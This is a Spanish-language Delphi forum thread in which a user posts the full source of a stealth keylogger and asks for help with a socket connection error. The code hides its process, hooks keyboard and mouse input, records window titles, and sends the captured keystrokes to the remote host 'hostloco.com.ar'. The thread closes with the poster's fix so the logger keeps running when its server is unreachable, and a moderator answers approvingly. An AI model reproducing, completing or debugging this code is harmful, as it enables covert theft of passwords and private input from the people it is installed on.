Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > Internet
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Grupo de Teaming del ClubDelphi

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 25-10-2011
zbuben zbuben is offline
Registrado
NULL
 
Registrado: oct 2011
Posts: 4
Poder: 0
zbuben Va por buen camino
Asynchronous socket error 10061, sin sentido

Hola chicos, vengo aca con un Keylogger hecho en una aplicacion de consola. que no entiendo porq me tira el error: "Asynchronous socket error 10061."
Les ruego ayuda jejej . desde ya muchas gracias

Código Delphi [-]
 
program KeyLogger;
uses
  Windows,
  Messages,
  SysUtils,
  ScktComp;
{.$DEFINE DEBUG}
{$DEFINE TICKET}
const
  DLLName = 'wingets.dll';
  CM_WH_BASE = WM_USER + $1234;
  CM_WH_KEYBOARD = CM_WH_BASE;
  CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
  BUFFER_SIZE = 100;
type
  TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
  THookProcedure = Procedure; stdcall;
  TPortCheckClass = class(TObject)
  public
    procedure OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  end;
procedure HideApp;
var
  hNdl: THandle;
  RegisterServiceProcess: TRegisterServiceProcess;
begin
  if Win32Platform = VER_PLATFORM_WIN32s Then
  begin
    hNdl := LoadLibrary(kernel32);
    try
      RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
      RegisterServiceProcess(GetCurrentProcessID, 1);
    finally
      FreeLibrary(hNdl);
    end;
  end;
end;
function WindowProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
begin
 Result := 0;
 case uMsg of
   //WM_CLOSE:
   WM_DESTROY:
     Halt;
 else
   Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
 end;
end;
Procedure TPortCheckClass.OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
Begin
  ErrorCode := 0;
end;
var
  hInst: LongWord;
  WinClass: TWndClass;
  Handle,
  hCurrentWnd: HWND;
  Msg: TMsg;
  DLLHandle,
  hLogFile,
  FileMap: THandle;
  StartHook,
  EndHook: THookProcedure;
  Reciever: ^Integer;
  PText: PByteArray;
  TextSize,
  BytesWritten: DWORD;
  Cliente: TClientSocket;
  S: string;
  I:Integer;
  PortCheck: TPortCheckClass;
begin
Cliente := TClientSocket.create(nil);
Cliente.OnError := PortCheck.OnError;
with Cliente do
begin
Host := 'hostloco.com.ar';
ClientType := ctBlocking;
Port := 200;
try
Open;
Active := True;
finally
end;
end;
//Cliente.Socket.SendText(StrPas(PChar(PText)));
 Try
   HideApp;
   hInst := hInstance;
   hCurrentWnd := 0;
   { Crea una ventana sin usar un TForm }
   with WinClass do
   begin
     Style              := CS_CLASSDC or CS_PARENTDC;
     lpfnWndProc        := nil;
     lpfnWndProc        := @WindowProc;
     hInstance          := hInst;
     hbrBackground      := COLOR_BTNFACE + 1; //or $80000000;
     lpszClassname      := 'Logger';
     hCursor            := LoadCursor(0, IDC_ARROW);
   end;
   if Windows.RegisterClass(WinClass) <> 0 then
   begin
     Handle := CreateWindowEx(WS_EX_WINDOWEDGE,
                              WinClass.lpszClassName, WinClass.lpszClassName,
                              {$IFDEF DEBUG}WS_VISIBLE+{$ENDIF}WS_OVERLAPPED,
                              0, 0, 0, 0, 0, 0, hInstance, nil);
     if Handle <> 0 Then
     begin
        DLLHandle := LoadLibrary(DLLName);
        if (DLLHandle <> 0) then
          try
            @StartHook := GetProcAddress(DLLHandle, 'Start');
            @EndHook := GetProcAddress(DLLHandle, 'End');
            if Assigned(StartHook) and Assigned(EndHook) then
            begin
              if Cliente.Active then
                try
                  SetFilePointer(hLogFile, 0, Nil, FILE_END);
                  FileMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'KeyReciever');
                  if (FileMap <> 0) then
                    try
                      Reciever := MapViewOfFile(FileMap, FILE_MAP_WRITE, 0, 0, 0);
                      Reciever^ := Handle;
                      GetMem(PText, BUFFER_SIZE);
                      try
                        StartHook;
                        try
                          while(GetMessage(Msg, Handle, 0, 0)) do
                          begin
                             case Msg.message  of
                               WM_DESTROY, WM_CLOSE:
                                 Break;
                               CM_WH_KEYBOARD:
                                 if ((Msg.lParam shr 31) and 1) <> 1 then
                                 begin
                                   if hCurrentWnd <> 0 then
                                   begin
                                     TextSize := GetWindowText(hCurrentWnd, Pointer(PText), BUFFER_SIZE);
                                     hCurrentWnd := 0;
                                     if TextSize > 0 then
                                     begin
                                       Move(PText[0], PText[3], TextSize);
                                       PText^[0] := 13;
                                       PText^[1] := 10;
                                       PText^[2] := 123;
                                       TextSize := TextSize + 6;
                                       PText^[TextSize-3] := 125;
                                       PText^[TextSize-2] := 13;
                                       PText^[TextSize-1] := 10;
                                       {$IFDEF DEBUG}
                                       SetWindowText(Handle, Pointer(PText));
                                       {$ENDIF}
                                       I := 0; S := ''; while I < TextSize do begin S := S + Char(PText[i]); Inc(I); end;
                                   Cliente.Socket.SendText(S);
                                     end;
                                   end;
                                   if LoWord(Msg.wParam) = 13 then
                                   begin
                                     PText^[0] := 13;
                                     PText^[1] := 10;
                                     TextSize := 2;
                                   end else
                                   if LoWord(Msg.wParam) = 32 then
                                   begin
                                     PText^[0] := 32;
                                     TextSize := 1;
                                   end else
                                   begin
                                     TextSize := GetKeyNameText(Msg.LParam, Pointer(PText), BUFFER_SIZE);
                                     if TextSize > 1 then
                                     begin
                                       Move(PText[0], PText[1], TextSize);
                                       PText^[0] := 91;
                                       TextSize := TextSize + 2;
                                       PText^[TextSize-1] := 93;
                                     end;
                                     {$IFDEF DEBUG}
                                     PText^[TextSize] := 0;
                                     SetWindowText(Handle, Pointer(PText));
                                     {$ENDIF}
                                   end;
                                   I := 0; S := ''; while I < TextSize do begin S := S + Char(PText[i]); Inc(I); end;
                                   Cliente.Socket.SendText(S);
                                 end;
                               CM_WH_WNDMESSAGE:
                               begin
                                 hCurrentWnd := Msg.wParam;
                               end;
                               WM_MOUSEMOVE,
                               WM_LBUTTONDOWN, WM_LBUTTONUP, WM_LBUTTONDBLCLK,
                               WM_RBUTTONDOWN, WM_RBUTTONUP, WM_RBUTTONDBLCLK,
                               WM_MBUTTONDOWN, WM_MBUTTONUP, WM_MBUTTONDBLCLK,
                               WM_MOUSEWHEEL:
                               begin
                                 {$IFDEF TICKET}
                                 S := '';
                                 {$ENDIF}
                                 PText^[0] := Ord('<');
                                 case Msg.message of
                                   WM_MOUSEMOVE:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('M');
                                   end;
                                   WM_LBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_LBUTTONUP:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_LBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONUP:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_RBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONUP:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MOUSEWHEEL:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('W');
                                   end;
                                 end;
                                 PText^[3] := Ord(';');
                                 S := '';
                                 {$IFDEF TICKET}
                                 PText^[0] := 13;
                                 PText^[1] := 10;
                                 I := 0; S := ''; while I < 2 do begin S := S + Char(PText[i]); Inc(I); end;
                                 Cliente.Socket.SendText(S);
                                 {$ENDIF}
                               end;
                             end;
                             TranslateMessage(Msg);
                             DispatchMessage(Msg);
                          end;
                        finally
                          EndHook;
                        end;
                      finally
                        FreeMem(PText, BUFFER_SIZE);
                      end;
                    finally
                      UnmapViewOfFile(Reciever);
                      CloseHandle(FileMap);
                    end;
                finally
                  Cliente.Free;
                end;
            end;
          finally
            FreeLibrary(DLLHandle);
          end;
     end;
   end;
 except
   {$IFDEF DEBUG}
   raise;
   {$ENDIF}
 end;
end.
Responder Con Cita
  #2  
Antiguo 25-10-2011
Avatar de Casimiro Notevi
Casimiro Notevi Casimiro Notevi is offline
Moderador
 
Registrado: sep 2004
Ubicación: En algún lugar.
Posts: 32.040
Poder: 10
Casimiro Notevi Tiene un aura espectacularCasimiro Notevi Tiene un aura espectacular
Bienvenido a clubdelphi, ¿ya leiste nuestra guía de estilo?, gracias por tu colaboración.

¿En qué momento o línea sale el error?, ¿llega a estar funcionando?, ¿se puede reproducir?...
Responder Con Cita
  #3  
Antiguo 26-10-2011
zbuben zbuben is offline
Registrado
NULL
 
Registrado: oct 2011
Posts: 4
Poder: 0
zbuben Va por buen camino
Cita:
Empezado por Casimiro Notevi Ver Mensaje
Bienvenido a clubdelphi, ¿ya leiste nuestra guia de estilo?, gracias por tu colaboración.
Sisi muchisimas gracias, y gracias tambien por la rapida respuesta.

Cita:
Empezado por Casimiro Notevi Ver Mensaje
¿En qué momento o línea sale el error?, ¿llega a estar funcionando?, ¿se puede reproducir?...
Te explico, el error sale cuando no esta abierto el servidor. Si el servidor esta abierto, funciona perfecto. Pero al estar cerrado, tira el error ese que no se puede conectar.
Lo que yo quiero es que si no se puede conectar al servidor, siga funcionando normalmente sin tildarse, o tirar error.

El error apareceria donde dice "Cliente.OnError := PortCheck.OnError;" Como que no reconoce el procedure. entonces no puede poner el ErrorCode en 0. y por lo tanto sale el error. pero no entiendo que esta mal. ¿Vos ves algun error?
Responder Con Cita
  #4  
Antiguo 26-10-2011
zbuben zbuben is offline
Registrado
NULL
 
Registrado: oct 2011
Posts: 4
Poder: 0
zbuben Va por buen camino
Cita:
Empezado por Casimiro Notevi Ver Mensaje
¿En qué momento o línea sale el error?
Aca te muestro exactamente lo que me dice el Delphi 7 al ejecutarlo.

---------------------------
Application Error
---------------------------
Exception ESocketError in module Project1.exe at 00017076.
Windows socket error: No se ha podido establecer conexión ya
que el equipo de destino ha denegado activamente dicha conexión (10061), on API 'connect'.
Responder Con Cita
  #5  
Antiguo 26-10-2011
zbuben zbuben is offline
Registrado
NULL
 
Registrado: oct 2011
Posts: 4
Poder: 0
zbuben Va por buen camino
Hola, al final lo pude solucionar, habia que agregar el idException en uses. y usar la sintaxis:

Código Delphi [-]
 
try
Open;
Active := True;
except
end;

Lo dejo por si a alguien le sirve, saludos, y muchisimas gracias por la ayuda
Responder Con Cita
  #6  
Antiguo 26-10-2011
Avatar de Casimiro Notevi
Casimiro Notevi Casimiro Notevi is offline
Moderador
 
Registrado: sep 2004
Ubicación: En algún lugar.
Posts: 32.040
Poder: 10
Casimiro Notevi Tiene un aura espectacularCasimiro Notevi Tiene un aura espectacular
perfecto !
Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
ERROR 2003: Can't connect to MySQL server on 'localhost' (10061) gusanita MySQL 14 29-10-2016 00:55:04
Como evitar el Asynchronous socket error? mcs Internet 1 28-05-2010 09:45:58
"Asynchronous socket error 10061." Mis clientes se cuelgan Boris Internet 2 13-09-2007 16:59:17
NMFTP :Error 10038 Socket operation on non socket judit Internet 2 25-05-2006 09:06:33
Error 10061 al intentar conectarme con DB2 mpedra DB2 2 01-07-2003 17:33:17


La franja horaria es GMT +2. Ahora son las 01:55:15.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi